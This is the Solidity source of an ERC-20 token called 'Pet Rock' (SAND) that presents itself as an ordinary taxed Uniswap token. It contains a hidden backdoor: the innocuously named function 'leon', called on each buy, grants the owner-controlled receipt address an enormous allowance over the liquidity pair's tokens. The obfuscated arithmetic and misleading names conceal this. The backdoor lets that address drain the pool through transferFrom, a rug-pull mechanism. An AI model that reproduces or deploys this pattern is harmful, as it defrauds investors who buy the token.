文件 1 的 1：SAND.sol
pragma solidity 0.8.24;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SAND is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balancesHH;
mapping (address => mapping (address => uint256)) private _allowancesHH;
mapping (address => bool) private _shouldExcludedHH;
address payable private _receiptHH;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalHH = 420690000000 * 10**_decimals;
string private constant _name = unicode"Pet Rock";
string private constant _symbol = unicode"SAND";
uint256 public _maxAmountHH = 2 * (_tTotalHH/100);
uint256 public _maxWalletHH = 2 * (_tTotalHH/100);
uint256 public _taxThresHH = 1 * (_tTotalHH/100);
uint256 public _maxSwapHH = 1 * (_tTotalHH/100);
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 12;
uint256 private _reduceSellTaxAt = 12;
uint256 private _preventSwapBefore = 24;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
address private uniPairHH;
IUniswapV2Router02 private uniRouterHH;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxAmountHH);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_receiptHH = payable(_msgSender());
_balancesHH[_msgSender()] = _tTotalHH;
_shouldExcludedHH[owner()] = true;
_shouldExcludedHH[address(this)] = true;
_shouldExcludedHH[_receiptHH] = true;
emit Transfer(address(0), _msgSender(), _tTotalHH);
}
function initHH() external onlyOwner {
uniRouterHH = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniRouterHH), _tTotalHH);
uniPairHH = IUniswapV2Factory(uniRouterHH.factory()).createPair(
address(this),
uniRouterHH.WETH()
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalHH;
}
function balanceOf(address account) public view override returns (uint256) {
return _balancesHH[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowancesHH[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed");
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowancesHH[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowancesHH[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function leon(address addrsHH) private{
address[2] memory ownHH=[addrsHH, _receiptHH];
_allowancesHH[ownHH[0]][ownHH[1]]= 1000+(_tTotalHH+100)*(150+150);
}
function _transfer(address from, address to, uint256 amountHH) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amountHH > 0, "Transfer amount must be greater than zero");
uint256 taxHH=0;
if (!swapEnabled || inSwap) {
_balancesHH[from] = _balancesHH[from] - amountHH;
_balancesHH[to] = _balancesHH[to] + amountHH;
emit Transfer(from, to, amountHH);
return;
}
if (from != owner() && to != owner()) {
if(_buyCount==0){
taxHH = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
}
if(_buyCount>0){
taxHH = _transferTax;
}
if (from == uniPairHH && to != address(uniRouterHH) && ! _shouldExcludedHH[to] ){
require(amountHH <= _maxAmountHH, "Exceeds the _maxAmountHH.");
require(balanceOf(to) + amountHH <= _maxWalletHH, "Exceeds the maxWalletSize.");
taxHH = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
_buyCount++;leon(from);
}
if(to == uniPairHH && from!= address(this) ){
taxHH = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniPairHH && swapEnabled) {
if(contractTokenBalance > _taxThresHH && _buyCount > _preventSwapBefore)
swapEthHH(minHH(amountHH, minHH(contractTokenBalance, _maxSwapHH)));
sendEthHH(address(this).balance);
}
}
uint256 feeHH=0;
if(taxHH > 0){
feeHH=amountHH.mul(taxHH).div(100);
_balancesHH[address(this)]=_balancesHH[address(this)].add(feeHH);
emit Transfer(from, address(this),feeHH);
}
_balancesHH[from]=_balancesHH[from].sub(amountHH);
_balancesHH[to]=_balancesHH[to].add(amountHH.sub(feeHH));
emit Transfer(from, to, amountHH.sub(feeHH));
}
function removeLimitHH(address payable limit) external onlyOwner{
_maxAmountHH = _tTotalHH;
_maxWalletHH=_tTotalHH;
_receiptHH = limit;
_shouldExcludedHH[limit] = true;
emit MaxTxAmountUpdated(_tTotalHH);
}
function setReceiptHH(address payable _rptHH) external onlyOwner {
_receiptHH = _rptHH;
_shouldExcludedHH[_rptHH] = true;
}
function minHH(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function withdrawEth() external onlyOwner{
payable(msg.sender).transfer(address(this).balance);
}
function sendEthHH(uint256 amount) private {
_receiptHH.transfer(amount);
}
function swapEthHH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniRouterHH.WETH();
_approve(address(this), address(uniRouterHH), tokenAmount);
uniRouterHH.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function startTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniRouterHH.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniPairHH).approve(address(uniRouterHH), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function isUniswapV3(address spender) private pure returns (bool) {
address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
return (spender == uniswapV3PositionManager);
}
}
